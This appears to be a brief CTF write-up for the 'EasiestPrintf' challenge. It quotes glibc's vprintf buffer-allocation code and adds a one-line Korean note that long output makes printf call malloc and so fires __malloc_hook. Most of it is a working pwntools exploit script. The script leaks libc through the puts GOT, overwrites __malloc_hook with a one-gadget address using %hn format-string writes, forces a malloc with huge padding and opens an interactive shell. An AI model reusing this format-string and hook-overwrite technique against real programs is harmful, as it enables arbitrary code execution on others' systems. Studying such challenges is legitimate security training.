EasiestPrintf

vprintf.c:L1501

      if (width >= WORK_BUFFER_SIZE - EXTSIZ)
	{
	  /* We have to use a special buffer.  */
	  size_t needed = ((size_t) width + EXTSIZ) * sizeof (CHAR_T);
	  if (__libc_use_alloca (needed))
	    workend = (CHAR_T *) alloca (needed) + width + EXTSIZ;
	  else
	    {
	      workstart = (CHAR_T *) malloc (needed);
	      if (workstart == NULL)
		{
		  done = -1;
		  goto all_done;

출력할 문자열이 일정 길이 이상이 넘어가면 내부적으로 malloc을 호출한다. –> __malloc_hook trigger

from pwn import *

p = process('./EasiestPrintf')
e = ELF('./EasiestPrintf')
l = e.libc

p.recvuntil(':')
p.sendline(str(e.got['puts']))

p.recvuntil('0x')
libc = int(p.recv(8), 16) - l.sym['puts']
hook = libc + l.sym['__malloc_hook']
magic = libc + 0x3a812
# [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]

print hex(libc)

low = magic & 0xffff
high = (magic >> 16) & 0xffff

pay = '%{}c'.format(low) + '%14$hn'
pay += '%{}c'.format(high-low) + '%15$hn' + 'xx'
pay += p32(hook) + p32(hook+2)
pay += '%150000c'

p.sendline(pay)
p.interactive()